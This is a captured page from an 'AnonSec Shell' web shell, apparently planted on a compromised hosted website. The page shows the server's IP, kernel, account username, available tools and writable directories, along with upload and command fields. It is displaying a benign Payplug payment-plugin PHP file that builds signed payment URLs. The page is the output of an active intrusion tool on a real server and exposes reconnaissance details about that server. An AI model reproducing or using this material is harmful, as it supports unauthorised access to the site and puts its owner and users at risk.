AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/lorient/plugins/hikashoppayment/payplug2/lib/Payplug/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/lorient/plugins/hikashoppayment/payplug2/lib/Payplug/PaymentUrl.php
<?php

class PaymentUrl {

	public $amount;
	public $currency;
	public $customData;
	public $customer;
	public $email;
	public $firstName;
	public $ipnUrl;
	public $lastName;
	public $order;
	public $origin;
	public $returnUrl;

	public static function generateUrl($params) {
		$config = Payplug::getConfig();
		$data;
		$signature;

		if (! $config) {
			throw new ParametersNotSetException();
		}
		if (! isset($params['amount'])) {
			throw new MissingRequiredParameterException("Missing required parameter: amount");
		}
		if (! isset($params['currency'])) {
			throw new MissingRequiredParameterException("Missing required parameter: currency");
		}
		if (! isset($params['ipnUrl'])) {
			throw new MissingRequiredParameterException("Missing required parameter: ipnUrl");
		}
		if (! preg_match("/^(http|https):\/\//i", $params['ipnUrl'])) {
			throw new MalformedURLException($params['ipnUrl'] . " doesn't starts with 'http://' or 'https://'");
		}
		if ($params['returnUrl'] != null && ! preg_match("/^(http|https):\/\//i", $params['returnUrl'])) {
			throw new MalformedURLException($params['returnUrl'] . " doesn't starts with 'http://' or 'https://'");
		}


		$url_params = http_build_query(array(
			"amount" => $params['amount'],
			"currency" => $params['currency'],
			"custom_data" => $params['customData'],
			"customer" => $params['customer'],
			"email" => $params['email'],
			"first_name" => $params['firstName'],
			"ipn_url" => $params['ipnUrl'],
			"last_name" => $params['lastName'],
			"order" => $params['order'],
			"origin" => $params['origin'] . " payplug-php" . Payplug::VERSION . " PHP" . phpversion(),
			"return_url" => $params['returnUrl']
		));
		$data = urlencode(base64_encode($url_params));


		$privateKey = openssl_pkey_get_private($config->privateKey);
		openssl_sign($url_params, $signature, $privateKey, OPENSSL_ALGO_SHA1);
		$signature = urlencode(base64_encode($signature));

		return $config->paymentBaseUrl . "?data=" . $data . "&sign=" . $signature;
	}
}

Anon7 - 2022
AnonSec Team